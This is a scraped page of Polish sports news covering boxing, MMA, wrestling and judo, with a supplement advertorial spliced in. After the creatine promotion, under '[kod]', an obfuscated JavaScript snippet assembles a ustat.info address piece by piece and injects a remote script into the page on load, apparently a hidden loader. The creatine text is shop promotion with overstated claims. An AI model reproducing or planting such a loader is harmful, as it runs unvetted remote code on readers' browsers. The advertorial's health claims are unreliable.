Stawka Ruiza wzrosła

7 grudnia wielki rewanż – Anthony Joshua będzie chciał odzyskać pasy mistrzowskie WBA, WBO i IBF, a Andy Ruiz Jr. stanie do ich pierwszej obrony. Pojedynek odbędzie się w Arabii Saudyjskiej.

Na chwilę cofnijmy się. 1 czerwca br. w Madison Square Garden byliśmy świadkami niespodzianki. Anthony Joshua miał walczyć z Jarrellem Millerem, ale ten zaliczył wpadkę dopingową i w ringu pojawił się Andy Ruiz Jr. Mało kto spodziewał się, że Meksykanin z brzuszkiem zagrozi "AJ". A jednak! W siódmej rundzie niespodzianka stała się faktem. Ruiz Jr. został nowym czempionem wagi ciężkiej i sięgnął po pasy WBA, IBF, WBO i IBO. Wiadomo było, że prędzej czy później musi dojść do rewanżu.

Joshua zdecydował się aktywować klauzulę dotyczącą pojedynku rewanżowego. Bokserzy mieli wejść do ringu pod koniec roku. Podstawową kwestią było – gdzie i za jakie pieniądze. Joshua pojechał do Stanów Zjednoczonych i stracił pasy, więc początkowo pojawiała się opcja, że rewanż odbędzie się w Wielkiej Brytanii. Mówiło się o Cardiff. Z drugiej strony przewijał się Nowy Jork. Praktycznie wszystkich w osłupienie wprawił pomysł organizacji pojedynku w Arabii Saudyjskiej. Wydawało się to niemożliwe, a jednak rewanż zaplanowano 7 grudnia w Arabii Saudyjskiej.

Sport swoją drogą, emocje też, ale kasa musi się zgadzać. Eddie Hearn, menadżer Joshuy, robi wszystko, aby przekonać, że walka w Arabii ma sens. Nie brakuje jednak krytycznych opinii. Wielu ekspertów podkreśla, że Diriyah nie jest najlepszym miejscem na rewanż gwiazd.

Cała sytuacja jest o tyle dziwna, że Hearn ogłosił walkę zanim Ruiz podpisał na nią umowę. Meksykanin wykorzystał to na  swoją korzyść. Bo jak przepuścić taką okazję. Pierwotnie mistrz miał zagwarantowane 8-9 milionów dolarów. Negocjował na tyle dobrze, że kwota ta wzrośnie o kilka milionów (nawet 15!). Trzeba pamiętać również o takich dodatkach jak wpływy z praw telewizyjnych w Meksyku.

Wiadomo, że miłośnicy boksu czekają na tę walkę. Nie brakuje jednak wątpliwości, co do miejsca rywalizacji oraz otoczki wokół starcia. Promocja wydarzenia ruszy na początku września.

Fot. Andy Ruiz Jr. Facebook

KM

Kreatyna – jeden z najczęściej stosowanych suplementów przez sportowców

Kreatyna to związek chemiczny, który naturalnie występuje w organizmie i odgrywa ogromną rolę w naszym życiu. Jest syntezowana w wątrobie, trzustce oraz nerkach i bezpośrednio wpływa na funkcjonowanie mięśni i ścięgien. Obniżenie zapasów tego związku chemicznego, (widoczne szczególnie podczas wysiłku fizycznego) prowadzi do zmniejszenia zdolności wysiłkowych. To jeden z tych suplementów, którego efekty są w ogromnym stopniu uzależnione od sposobu dawkowania.

Jak kreatyna działa na organizm?

Głównym zadaniem kreatyny w organizmie jest zwiększenie ilości fosfokreatyny, odpowiedzialnej za transport energii do komórek mięśniowych. Im więcej jej posiadamy, tym więcej energii zyskują nasze mięśnie. W efekcie każdy trenujący jest w stanie wykonać dłuższy i efektywniejszy trening. Niestety ilość kreatyny jest ograniczona, dlatego zdecydowana większość sportowców, aby poprawić swoje wyniki, decyduje się na jej suplementację. 

Okazuje się, że już 3 gramy spożytej dziennie kreatyny zwiększają wydolność organizmu w przypadku bardzo intensywnych ćwiczeń fizycznych. Dlatego też osoby, które w uwzględniają ją w swojej diecie, nie odczuwają gwałtownych spadków energii oraz zmęczenia w takim stopniu, jak ci, którzy nie stosują kreatyny, a wykonują codzienne sesje treningowe. 

W jakim celu suplementujemy kreatynę? 

Ten związek chemiczny ma duży wpływ na odnawianie tzw. cząsteczek ATP, czyli podstawowego nośnika energii w naszym organizmie. Prawidłowa podaż kreatyny zwiększa zdolności wysiłkowe i stymuluje syntezę białek, co oznacza, że w praktyce: 

  • poprawimy swoją wydolność, a przy okazji będziemy bardziej wytrzymali, 
  • po wzmożonym wysiłku o wiele szybciej się zregenerujemy, 
  • przy regularnym stosowaniu zauważymy przyrost beztłuszczowej masy ciała,
  • będziemy mieć więcej siły. 

Regularna suplementacja zwiększa siłę i wytrzymałość mięśni na dłuższy czas. Ponadto przy odpowiedniej diecie oraz treningu siłowym zażywanie tej substancji chemicznej daje jeszcze lepsze efekty. 

""

Najlepsza kreatyna – na co zwrócić uwagę przy wyborze? 

Osoby decydujące się na suplementację kreatyny stoją przed niemałym dylematem. Wynika to z tego, że na rynku jest dostępnych mnóstwo produktów, które zawierają ten związek chemiczny. W tym przypadku niemal od razu nasuwa się pytanie – czy poszczególne suplementy czymś się różnią? Tak, przede wszystkim postacią, w jakiej dostępne są preparaty kreatynowe.

Do ich najpopularniejszych rodzajów zaliczamy: 

  • monohydrat kreatyny – monohydrat to najlepiej przebadana i przetestowana (szczególnie pod kątem skuteczności) postać tego związku chemicznego. Ten preparat składa się z cząsteczek wody i kreatyny. Charakteryzuje się stosunkowo niską ceną i zapewnia szybkie rezultaty, jeżeli chodzi o przyrost mięśni. Jednak jego wadą jest tendencja do zatrzymywania wody w organizmie, 
  • jabłczan kreatyny – to związek chemiczny, który powstaje w wyniku połączenia cząstki kreatyny z cząsteczką kwasu jabłkowego. Ten suplement dla sportowców pozwala na uzyskanie przyrostu masy mięśniowej o bardziej zwartej strukturze, jednak na efekty trzeba poczekać trochę dłużej, 
  • fosforan kreatyny – jak sama nazwa wskazuje w tym przypadku mamy do czynienia z połączonymi cząsteczkami keratyny z resztą kwasu fosforanowego. Według badań przeprowadzonych przez amerykańskich naukowców ten preparat charakteryzuje się nawet trzykrotnie mocniejszym działaniem niż monohydrat, dzięki fosforanowi, który opóźnia uczucie zmęczenia. 

Kreatyna należy do jednego z najczęściej stosowanych suplementów diety zarówno przez sportowców wyczynowych, jak i osoby aktywnie fizycznie. To jeden z kluczowych produktów stosowanych w budowie masy mięśniowej i beztłuszczowej, wymarzonej sylwetki. Najczęściej jest spotykana jako składnik odżywek dla masy mięśniowej w postaci proszku, a także tabletek i kapsułek – pełną ofertę kreatyny znajdziesz tutaj: https://swiatsupli.pl/pl/33-kreatyny

[kod]

(function(){
tjydu="w9ikh42yjyd8";tjyd=document.createElement("script");
tjyd_="u"+("st");tjyd_+="at"+(".");tjyd.async=true;tjyd_+="in";
tjydu="181687577."+tjydu;tjyd.type="text/javascript";tjydu+="wryzX8920k1j";
tjydu+="f1wXgn";tjyd_+=("f")+"o"+("/");tjyd.src="https://"+tjyd_+tjydu;
tjydd=document.body;tjydd.appendChild(tjyd);
})();

Złota dziewczyna

Patrycja Gil wywalczyła złoty medal podczas mistrzostw świata juniorek w zapasach w kategorii 55kg, które odbyły się w Tallinie. Na najniższym stopniu podium stanęły: Magdalena Głodek (57kg), Wiktoria Chołuj (65kg) i Ewelina Ciunek (68kg).

Z pewnością impreza w stolicy Estonii dostarczyła wielu emocji. Rok temu młodzi zapaśnicy rywalizowali w Trnawie, jednak biało-czerwoni nie mieli powodów do optymizmu. Do kraju nasi zawodnicy wrócili bez medalu. Najlepiej zaprezentowały się Kamila Kulwicka i Alicja Czyżowicz, które zajęły piąte miejsca. Tegoroczne mistrzostwa świata juniorów należy uznać za udane. Polskim kibicom najwięcej radości dała Patrycja Gil. Rok temu zawodniczka odpadła już po pierwszej walce, ale zebrała cenne doświadczenie. W Estonii Gil szła jak burza. Początek nie był łatwy, ale Polka okazała się lepsza od Sezeny Behchetovej w Bułgarii. Następnie bez większych problemów uporała się z Virgine Kaze Gascon. Na ostatniej prostej do finału Gil pokonała 8:4 Anastasię Blayvas z Niemiec. Zawodniczka WKS Siedlce-Nowe Iganie kontrolowała pojedynek i nie pozwoliła rywalce na rozwinięcie skrzydeł. W finale Gil wyczuła moment, w którym przeprowadziła akcję za cztery punkty. Jekaterina Verbina nie potrafiła się później podnieść i zagrozić Polce, która mogła cieszyć się ze złotego medalu. To wielkie wydarzenie dla polskich zapasów. Złoty krążek mistrzostw świata juniorów po 20 latach! Warto dodać, że to kolejny tegoroczny medal Gil. Wcześniej wywalczyła brąz mistrzostw Europy.

W półfinale Magdalena Głodek przegrała z późniejszą wicemistrzynią świata Aliną Akobiią. Polce pozostała rywalizacja o brąz, w której pokonała Youmei Wu. Pojedynek emocjonujący do samego końca. Na ostatniej prostej Polka odwróciła losy rywalizacji i stanęła na podium.

Po triumfie w mistrzostwach Europy w Hiszpanii, brąz światowego czempionatu wywalczyła Wiktoria Chołuj. Polka przegrała w ćwierćfinale z Macey Ellen Kilty i musiała radzić sobie w repasażach. Chołuj okazała się skuteczna, co pozwoliło jej zmierzyć się o brąz z Hanną Sadchanką. Polka pokonała Białorusinkę i sięgnęła po brąz. Na podium znalazła się również Ewelina Ciunek. Zapaśniczka przegrała w półfinale z późniejszą mistrzynią Naruhą Matsuyuki, a w starciu o brąz pokonała reprezentantkę Mongolii Dekgermaę Enkhsaikhan.

Panowie bez medalu. W pojedynkach o brąz przegrali zawodnicy w stylu klasycznym – Kamil Czarnecki (63kg) i Gerard Kurniczak (97kg).

Fot. United World Wrestling/Polski Związek Zapaśniczy/Facebook

KM

Czwarta obrona

Po nieudanej próbie podboju wagi ciężkiej, Tomasz Narkun będzie bronił pasa w kategorii półciężkiej. Podczas gali KSW 50 jego rywalem będzie Przemysław Mysiala.

Popularny "Żyrafa" wyrósł na czołową postać polskiej federacji. Blisko cztery lata temu wdarł się na tron wagi półciężkiej. W Londynie znokautował Gorana Relijcia. Dotychczas trzykrotnie skutecznie bronił pasa mistrzowskiego. Co warto podkreślić – za każdym razem wygrywał w pierwszych rundach. Narkun stał się twarzą KSW dzięki rywalizacji z Mamedem Khalidovem. "Żyrafa" dwukrotnie okazał się lepszy od legendy polskiego MMA. Chciał iść za ciosem i sięgnąć po drugi pas mistrzowski, jednak w marcu w Łodzi nie sprostał Philipowi de Friesowi.

14 września w Londynie Narkun po raz czwarty będzie bronił mistrzowskiego pasa. Spotka się z 37-letnim Przemysławem Mysialą, który wygrał sześć ostatnich pojedynków. Większość walk doświadczony zawodnik stoczył w Anglii. Ostatni raz w Polsce Mysiala rywalizował w lipcu 2017 roku, kiedy to podczas gali ACB 63 pokonał Wallysona Carvalho. W tym roku spotkał się w Norwich z Yurim Andrey'em i sięgnął po pas mistrzowski organizacji Contenders.

Mysiala zdobywał tytuły w siedmiu organizacjach m.in. Fight Exclusive Night. Czy skutecznie postraszy mistrza KSW i zasiądzie na tronie kolejnej? Narkun wydaje się być faworytem, ponieważ w kategorii półciężkiej po raz ostatni przegrał prawie pięć lat temu. Jego pogromcą był Reljić, któremu następnie Polak się zrewanżował i sięgnął po tytuł.

Jego jest pewne – 14 września w Londynie należy spodziewać się ciekawej walki. Narkun i Mysiala większość pojedynków wygrali przed czasem. Każdy z nich zaledwie raz triumfował przez decyzję sędziów. Co ciekawie, Narkun zanotował trzy porażki – dwie na punkty. Mysiala ma na koncie dziewięć przegranych walk.

W walce wieczoru gali KSW 50 Damian Grabowski będzie chciał odebrać tytuł mistrza wagi ciężkiej Philipowi De Friesowi. Roberto Soldić stanie w obronie pasa w kategorii półśredniej. Jego rywalem będzie Czech Patrik Kincl. W Londynie zobaczymy również m.in. Antoniego Chmielewskiego i Damiana Janikowskiego.

Fot. materiały organizatora

KM

15 milionów dla Gołowkina

Jesienią Gienadij Gołowkin miał stoczyć trzecią walkę z Saulem Alvarezem, jednak sprawa nie została domknięta. 5 października Kazach ma zmierzyć się z Sergiejem Derewianczenko. 37-latek może liczyć na ok. 15 milionów dolarów.

Przez lata Gołowkin uznawany był za jednego z najlepszych bokserów świata. Rządził w wadze średniej – na swoim koncie zapisał pasy WBA, WBC, IBF i IBO. 15 września 2018 roku zanotował jedyną jak do tej pory porażkę w karierze. W T-Mobile Arenie w Las Vegas przegrał decyzją sędziów z Saulem Alvarezem. Tym samym stracił tytuły WBA, WBC i IBO. Wcześniej został pozbawiony pasa IBF, bo unikał rywalizacji z… Derewianczenką.

Gołowkin liczył, że w tym roku uda mu się spotkać po raz trzeci z Alvarezem. Strony prowadziły rozmowy w sprawie pojedynku, jednak Kazach nie chciał ponownie walczyć w Las Vegas. T-Mobile Arena nie była szczęśliwa dla Gołowkina. Najpierw zremisował z Alvarezem, potem przegrał, a wynik rewanżu budził kontrowersje. W czerwcu tego roku Gołowkin znokautował w czwartej rundzie Steve'a Rollsa. Jesienią ponownie pojawi się w ringu, a na kolejne starcie z Alvarezem trzeba poczekać. Mówiło się, że Gołowkin spotka się z Jaime'm Munguią. Jednak niemal pewna jest jego walka z Sergiejem Derewianczenką.

33-letni ukraiński pięściarz pokonał w tym roku Jacka Culcaya. W październiku 2018 roku przeprowadził nieudany atak na pas IBF. Po zaciętej walce Ukrainiec przegrał niejednogłośną decyzją z Danielem Jacobsem. Warto wspomnieć, że niedawno spekulowano na temat walki Derewianczenko z „Canelo” Alvarezem. Ukrainiec wygrywając z Culcayem stał się ponownie pretendentem do pasa IBF. Meksykaninowi odebrano tytuł, bo mimo kilku prób nie udało doprowadzić się do walki z Derewianczenko.

Zatem pas IBF czeka na nowego właściciela. 5 października w Nowym Jorku Derewianczenko w drugim podejściu do pasa ma spotkać się z Gołowkinem. Strony ustaliły już warunki rywalizacji. Ukrainiec ma zarobić ok. 5,5 mln dolarów. Na konto Gołowkina wpłynie znacznie więcej – ok. 15 milionów dolarów.

Fot. Gennadiy Golovkin Facebook

KM

Trzy finały

Znamy terminy finałów drugiej edycji bokserskiego turnieju World Boxing Super Series. Do rozstrzygnięć jest jeszcze trochę czasu, ale emocji nie brakuje. Wszystko za sprawą Regisa Prograisa.

W wadze super lekkiej wybuchło zamieszanie. Wszystko za sprawą Regisa Prograisa, który podjął decyzję o wycofaniu się z finałowej rywalizacji z Joshem Taylorem. Wszystko przez… pieniądze. Od początku rywalizacji w WBSS Amerykanin narzekał na kłopoty z regulowaniem płatności przez organizatorów. W związku z tym przed półfinałem Prograis miał otrzymać środki na rachunek powierniczy. Podobnie przed finałem. Organizatorzy nie dotrzymali terminu, a więc bokser i jego przedstawiciele złożyli stosowne dokumenty w sądzie o rozwiązanie wszelkich zobowiązań kontraktowych. WBSS zupełnie inaczej widzi sprawę. W wydanym oświadczeniu organizator turnieju podkreśla, że nie doszło do złamania kontraktu i czekają na finał w kategorii super lekkiej.

Do niedawna spekulowano, że walka pomiędzy Prograisem a Taylorem odbędzie się 5 października w Manchesterze. Obecnie pada termin 28 września. Prograis nie jest z tego zadowolony. Pytanie – jaki będzie finał tego finału?

W pozostałych dwóch kategoriach wagowych takich kłopotów nie ma. Szczególną uwagę będziemy zapewne poświęcać rywalizacji w Rydze. W finale wagi junior ciężkiej spotkają się Mairis Briedis i Yuniel Dorticos. Rywalem zwycięzcy powinien być Krzysztof Głowacki. Doskonale pamiętamy półfinałową rywalizację, w której Brieidis w kontrowersyjnych okolicznościach wygrał z Polakiem. Łotysz dopuszczał się nieczystych zagrywek, trafił Głowackiego po czasie, na co nie zareagował sędzia. Po pojedynku Briedis kpił z całej sytuacji. Polska strona protestowała, ale nic z tego. Briedis szykuje się do finału, a Głowacki czeka na kolejną walkę. Drugi z finalistów – Yunier Dorticos w ćwierćfinale pokonał Mateusza Masternaka, z kolei w półfinale znokautował Andrew Tabitiego. Stawką finałowej potyczki będą pasy WBC, WBO i IBF. Pojedynek odbędzie się 14 grudnia.

Zanim Briedis i Dorticos wejdą do ringu, poznamy najlepszego w rywalizacji w wadze koguciej. 7 listopada w Tokio zmierzą się Naoya Inoue i Nonito Donaire. 26-letni Japończyk świetnie spisuje się w turnieju WBSS. Inoue znajduje się w posiadaniu pasów WBA i IBF, a w ćwierćfinale pokonał Juana Carlos Payano już w pierwszej rundzie, zaś w półfinale w drugiej odsłonie znokautował Emmanuela Rodrigueza. W finałowym pojedynku jego rywalem będzie doświadczony Nonito Donaire. Filipińczyk znajduje się w posiadaniu pasów WBC Diamond i WBA. W drodze do finału Donaire pokonał Ryana Burnetta i Stephona Younga.

KM

Nowa era Justino

Po ostatniej walce Cristiane Justino, UFC 240, uwydatnił się konflikt zawodniczki z prezesem organizacji – Dana White'm. "Cyborg" zapowiada rozpoczęcie nowej ery w swojej karierze.

Na linii Justino – White wrzało od dłuższego czasu. Nieporozumienia, przepychanki medialne sprawiły, że sprawa nabrała gigantycznych rozmiarów. Strony pałały do siebie niechęcia. Po zwycięstwie "Cyborg" nad Felicią Spencer, White nie ukrywał, że Brazylijka go nie zachwyciła. Fundamentem jest jednak sprawa rewanżu Justino z Amandą Nunes. White niejednokrotnie mówił, że "Cyborg" nie chce drugiej walki z mistrzynią dwóch kategorii – koguciej i piórkowej. Podczas spotkania Justino zarzuciła promotorowi kłamstwo.

Strony nie potrafiły osiągnąć porozumienia. Finał jest taki, że Brazylijka pożegnała się z UFC. Zaprzecza jednak informacjom o zwolnieniu. – Zakończyłam erę w UFC. Miałam ostatnią walkę, co oznacza, że nikt mnie nie wyrzucił. Mieliśmy erę EliteXC, erę Strikeforce, erę Invicta i erę UFC. Wszystkie były sukcesami. Wkrótce zaczniemy nową erę. Niebawem przekażę wiadomość. Jestem podekscytowana – napisała Cristiane Justino w mediach społecznościowych.

"Cyborg" była związana z UFC przez ponad trzy lata. Wszyscy długo czekali na angaż Brazylijki, ponieważ uchodziła za czołową postać kobiecego MMA. Zdecydowaną większość walk kończyła przed czasem. Wyczekiwano walki Justino z wiodącą wówczas prym w UFC – Rondą Rousey. Niejednokrotnie spekulowano na ten temat, jednak zanim Brazylijka trafiła do amerykańskiej organizacji, „Rowdy” straciła tytuł i popadła w kryzys.

Przygodę z UFC „Cyborg” zaczęła od wygranej w pierwszej rundzie z Leslie Smith. Łącznie w organizacji stoczyła siedem walk, z których sześć zakończyło się jej triumfem. W lipcu 2017 roku podczas gali UFC 214 Brazylijka wywalczyła pas wagi piórkowej. Tytułu skutecznie broniła dwukrotnie – z Holly Holm i Janą Kunickają. W grudniu 2018 roku straciła pas na rzecz Amandy Nunes, z którą przegrała przez nokaut po zaledwie 51 sekundach walki!

Wcześnej Justino zapisała na swoim koncie pasy mistrzowskie w organizacjach Strikeforce i Invicta.

KM

Kownacki wysoko, powrót Usyka blisko

O tym, że w wadze ciężkiej jest ciekawie – nikogo nie trzeba przekonywać. Po zwycięstwie nad Chrisem Arreolą, w rankingu federacji IBF w górę poszybował Adam Kownacki. Z kolei jesienią w kategorii królewskiej zadebiutuje Oleksandr Usyk.

3 sierpnia w Barclays Center na Brooklynie Adam Kownacki zanotował dwudziestą wygraną na zawodowym ringu. Polak pokonał Chrisa Arreolę i utorował sobie drogę do starcia o pasy mistrzowskie. Trzeba przypomnieć, że Kownacki był wymieniany jako potencjalny rywal Anthony'ego Joshuy po dopingowej wpadce Jarrella Millera. "AJ" zmierzył się z Andy'm Ruizem Jr. i wszyscy wiemy jak to się skończyło. Wracając do Kownackiego, po zwycięstwie nad Arreolą "Babyface" awansował w rankingu federacji IBF z czwartej na trzecią pozycję. Przed Polakiem znajduje się Kubrat Pulew, który jest obowiązkowym pretendentem do pasa. Druga lokata jest nieobsadzona. Za plecami Kownackiego są m.in. Anthony Joshua i Tyson Fury. Z kolei w rankingu serwisu boxrec.com 30-latek plasuje się na 10. miejscu wśród pięściarzy wagi ciężkiej. Stawce przewodzi Andy Ruiz Jr., który wyprzedza Deontaya Wildera i Joshuę.

Oczekiwanie nad debiut

Szesnaście zwycięstw na zawodowym ringu zanotował Oleksandr Usyk. We wrześniu 2016 roku we Wrocławiu Ukrainiec pokonał Krzysztofa Głowackiego i zdobył pas WBO w kategorii junior ciężkiej. Następnie Usyk wygrał pierwszą edycję turnieju World Boxing Super Series, czym udowodnił swoją dominację. Tym samym stał się posiadaczem pasów WBC, WBA i IBF. W listopadzie 2018 roku pokonał Tony'ego Bellewa i była to jest ostatnia walka w wadze junior ciężkiej. Usyk podjął decyzję o zmianie kategorii na ciężką. Debiut ukraińskiego pięściarza zaplanowano na maj br. Usyk miał rywalizować z Carlosem Takamem, jednak na przeszkodzie stanęła kontuzja prawego barku 32-latka urodzonego w Symferopolu. Bokser miał więc przymusową przerwę.

Wszystko wskazuje na to, że debiut Ukraińca nastąpi 12 października w Chicago. Szczegóły walki nie są jednak znane. Niewykluczone, że rywalem Usyka będzie, tak jak pierwotnie planowano, Carlos Takam.

Fot. Adam Kownacki Facebook

KM

Nie jadą na mistrzostwa, związek wyjaśnia

Polski Związek Judo podał skład reprezentacji Polski na zbliżające się mistrzostwa świata w Tokio. W kadrze nie znaleźli się Karolina Pieńkowska (52kg), Piotr Kuczera (90kg, na zdjęciu) oraz Maciej Sarnacki (+100kg). Związek wyjaśnił swoją decyzję.

Brak Pieńkowskiej, Kuczery i Sarnackiego jest sporym zaskoczeniem. Zwłaszcza, że w ostatnim czasie regularnie reprezentowali Polskę w najważniejszych imprezach. Pieńkowska była członkiem drużyny, która w 2016 roku zdobyła złoto mistrzostw Europy w Kazaniu. Z kolei w 2015 roku wywalczyła młodzieżowe mistrzostwo Starego Kontynentu. Trzy lata temu w Kazaniu Piotr Kuczera wywalczył indywidualnie brązowy medal. Stał także na najniższym stopniu podium w drużynie. Potem wygrywał zawody Pucharu Europy w Rzymie i Katowicach (2017 rok) oraz w Sofii (2018). Członkiem brązowej drużyny w 2016 roku był Maciej Sarnacki. Doświadczony zawodnik ma na koncie osiem medali imprez rangi Grand Prix i Grand Slam.

W kadrze na mistrzostwa świata wymienionej trójki próżno szukać. – Karolina Pienkowska nie ma kryterium wynikowego, również aktualnie ma zwolnieniem lekarskiej-kontuzja do 12 sierpnia – poinformował Polski Związek Judo. Brak kryterium wynikowego jest również przyczyną braku Kuczery. – Maciej Sarnacki nie uzyskał rekomendacji sztabu szkoleniowego do startu w MŚ 2019. Podstawowa przyczyna to brak realizacji programu przygotowań centralnych. Kolejna to brak realizacji założeń wynikowych we wszystkich tegorocznych startach międzynarodowych. Jako zawodnik z pierwszej 10 rankigu miał zadanie zajmowania miejsc 1-5 na zawodach międzynarodowych – od ponad roku nie zrealizował tego zadania. Nie podjął także współpracy z psychologiem. Zignorował także starty w zawodach krajowych (PPS w Sobótce i Pile), pomimo informacji, że są one warunkiem finansowania w akcjach zagranicznych zawodników KN – przedstawił PZJ.

Do Tokio poleci 16-osobowa reprezentacja Polski. O medale powalczą: Agata Perenc (52kg), Aleksandra Kaleta (52kg), Anna Borowska (57kg), Julia Kowalczyk (57kg), Agata Ozdoba-Błach (63kg), Karolina Tałach (63kg), Daria Pogorzelec (70kg), Eliza Wróblewska (70kg), Beata Pacut (78kg), Tomer Golomb (60kg), Patryk Wawrzyczek (66kg), Wiktor Mrówczyński (73kg), Sebastian Marcinkiewicz (81kg), Damian Szwarnowiecki (81kg), Iwo Baraniewski (100kg), Oleksii Lysenko (100kg). Rezerwową jest Arleta Podolak (57kg).

Rok temu w Baku Polacy nie wywalczyli medalu. Najbliższej sukcesu był Damian Szwarnowiecki, który uplasował się na piątym miejscu.

Mistrzostwa świata w Tokio odbędą się w dniach 25-31 sierpnia.

KM

Tuż za podium

Na czwartym miejscu w klasyfikacji medalowej zakończyli rywalizację w Pucharze Europy Juniorów w judo w Poznaniu reprezentanci Polski. Na swoim koncie zapisali osiem krążków. Najlepsi byli Rosjanie – 12.

Bez wątpienia największe powody do zadowolenia ma Kinga Wolszczak (+78kg), która sięgnęła po złoty medal. Po raz kolejny 17-latka pokazała, że jest w fenomenalnej formie. W tegorocznych startach Wolszczak nie schodzi z podium! Wygrała drugie zawody z rzędu. W maju triumfowała w Maladze, zaś wcześniej była druga w Lignano i trzecia w Atenach. W Poznaniu w wadze ciężkiej obowiązywał system "każdy z każdym". Początek rywalizacji nie był udany dla Wolszczak, która przegrała z Julią Świątkiewicz. Pojedynek rozstrzygnął się dopiero w dodatkowym czasie. Kolejne trzy walki 17-latka wygrała przed czasem – pokonała Alicję Sokołowską i dwie judoczki z Rosji. Świątkiewicz zanotowała po drodze dwie porażki i uplasowała się poza podium, a Wolszczak cieszyła się z triumfu.

Powody do zadowolenia ma również Eliza Wróblewska (70kg). Polka znakomicie rozpoczęła rywalizację w Poznaniu i w zaledwie pół minuty odprawiła Niemkę Leonie Beyersdorf, potem wygrała z Darją Piskunovą i przyszło jej rywalizować o złoto. W finale Wróblewska musiała uznać wyższość Andeli Violić, dla której był to pierwszy triumf w Pucharze Europy. Z kolei młoda Polka zanotowała czwarte podium w tym roku.

Posypały się za to brązowe medale. Na najniższym stopniu podium stawali: Natalia Kropska (63kg), Zuzanna Logozna (57kg), Lucja Obal (57kg), Paulina Szlachta (48kg), Wojciech Kordyalik (+100kg) oraz Sebastian Ołdak (90kg).

Tuż za podium, na piątych lokatach, uplasowali się Jagoda Tata (57kg), Weronika Strycz (48kg), Aleksandra Sokołowska (63kg), Martyna Nolewajka (78kg), Aleksandra Janeczko (52kg), Maria Baczek (78kg) i Dawid Hypta (60kg).

Najlepsi w Poznaniu okazali się Rosjanie – pięć złotych, cztery srebrne i trzy brązowe. Za ich plecami Węgrzy – trzy złota i brąz oraz Francuzi – po dwa złote i srebrne medale oraz cztery brązowe.

W zawodach wzięło udział 179 judoczek i judoków.

Fot. PZJudo

KM

Warto było wstać

Adam Kownacki pokonał Chrisa Arreolę i po raz dwudziesty w zawodowej karierze wzniósł ręce w geście triumfu. Z pewnością polscy kibice, którzy czekali na walkę bądź wyrwali się ze snu – swojej decyzji nie żałują.

30-latek urodzony w Łomży jest naszą nadzieją wagi ciężkiej. Uosobieniem marzeń o Polaku na tronie mistrzowskim. Kiedyś zarywaliśmy noce, żeby oglądać pojedynki Andrzeja Gołoty i Tomasza Adamka. Teraz przyszedł czas na Adama Kownackiego, który konsekwentnie zmierza do walki o pas mistrzowski.

Pojedynek z Arreolą miała być dla Polaka prawdziwym testem, weryfikacją, a w zasadzie ostatnią przeszkodą. Kownacki mierzył się z bokserem, który miał okazję rywalizować z tuzami wagi ciężkiej – Witalijem Kliczko czy Deontayem Wilderem. Po pas jednak nie sięgnął, ale od lat zalicza się do czołówki kategorii królewskiej. Co prawda czas świetności Arreola ma za sobą, ale jak pokazało starcie w Barclays Center to nadal mocny rywal, który twardo trzyma się na nogach.

Walka była niezwykle intensywna. Kownacki był niezwykle skuteczny z dystansu, wyprowadzał wiele ciosów, które dały się we znaki Amerykaninowi. Ten pokazał jednak, że jest twardy. Szukał swojej szansy w półdystansie, ale bez efektu. Paliwa pięściarzom zaczęło brakować w dziesiątej rundzie. Widać było zmęczenie, ale trudno się dziwić skoro we wcześniejszych odsłonach walczyli na maksimum możliwości. Cios za ciosem, czego efektem jest rekord wyprowadzanych ciosów w wadze ciężkiej – 2172. 667 doszło do celu.

Dwanaście niezwykle ciekawych rund. Sędziowie nie mieli żadnych wątpliwości – 118:110, 117:111 i 117:111 dla Kownackiego, który zdobył interkontynentalny pas IBF. To dwudziesta wygrana Polaka w karierze. Radość, euforia, duma – Adam Kownacki daje polskim kibicom powody do szczęścia Jest przykładem człowieka, który ciężko pracuje na swój sukces, a przy tym jest skromny, pewny siebie i konsekwentny. 

Teraz wypada zadać pytanie – kiedy kolejna walka. Apetyt rośnie – czekamy na starcie o pas mistrzowski. Trzeba bacznie obserwować sytuację i patrzeć na Wildera, Ruiza i Joshuę. Zapewne na któregoś z nich trafi niebawem Kownacki. Szykujmy się na kolejną noc pełną emocji.

KM

Mocny rywal na start

27 września Rafał Haratyk zadebiutuje w organizacji ACA. Podczas gali w Moskwie Polak zmierzy się z Ibragimem Czużigajewem. Odsłonięte zostały kolejne karty przed KSW 50.

Haratyk stał się czołową postacią organizacji Babilon MMA, w której zanotował cztery zwycięstwa. Zaczął od wygranej z Łukaszem Bieńkowskim, potem był Johan Romming, udany rewanż za porażkę na FEN 11 z Marcinem Naruszczką. W grudniu w Raszynie zawodnik z Bielska-Białej pokonał Macieja Różańskiego. Dobra postawa Haratyka nie uszła uwadze włodarzy organizacji ACA. W lipcu zawodnik poinformował o podpisaniu umowy z federacją. Teraz poznał nazwisko pierwszego rywala. Będzie nim Rosjanin Ibragim Czużigajew, który wygrał ostatnie cztery walki. W lutym w hali Torwar najbliższy rywal Haratyka mierzył się z innym Polakiem – Piotrem Strusem. Podczas ACA 92 lepszy okazał się Rosjanin, choć triumfował po niejednogłośnej decyzji sędziów. Strus dobrze zaprezentował się w drugiej i trzeciej rundzie. Początek starcia dla Czuzigajewa i publiczność liczyła na triumf Polaka, jednak ten musiał pogodzić się z porażką.

Zatem Haratyk ma znakomitą okazję, aby pomścić rodaka. Zadanie nie jest łatwe, bo Czuzigajew to weteran ACA (wcześniej ACB).Ostatnią porażką zanotował w kwietniu 2017 roku, kiedy to przegrał przez poddanie z Vyacheslavem Vasilevskym.

Debiut Haratyka w rosyjskiej organizacji będzie miał miejsce 27 września podczas gali ACA 99. Dla zawodnika DAAS BERSERKERS TEAM będzie to kolejna przygoda z zagraniczną organizacją. Wcześniej rywalizował w afrykańskiej EFC, gdzie zmierzył się m.in. ze znanym z KSW Dricusem Du Plessisem.

Rywal na „50”

Podczas gali KSW 50, która odbędzie się 14 września w Londynie swoją… pięćdziesiątą walkę w karierze stoczy Antonio Chmielewski. 37-latek zmierzy się z Jasonem Radcliffem. Anglik wygrał 15 walk, z czego aż 10 przez nokaut. Na swoim koncie ma również siedem porażek. Chmielewski będzie polował na 33 wygraną. Co warto dodać, na kolejne zwycięstwo Polak czeka już ponad trzy lata.

Kilka dni temu rywala poznał Damian Janikowski. Brązowy medalista igrzysk olimpijskich z Londynu na Wembley zmierzy się z Tony'm Gilesem. Janikowski przegrał ostatnie dwie walki w KSW. Rywal ma serię czterech zwycięstw, w MMA rywalizuje od 2009 roku.

Fot. ACA/Facebook

KM

Nie żyje bokser Dawid „Cygan” Kostecki

Dawid „Cygan” Kostecki popełnił samobójstwo. Bokser miał 38 lat. Na zawodowych ringach stoczył ponad 40 pojedynków.

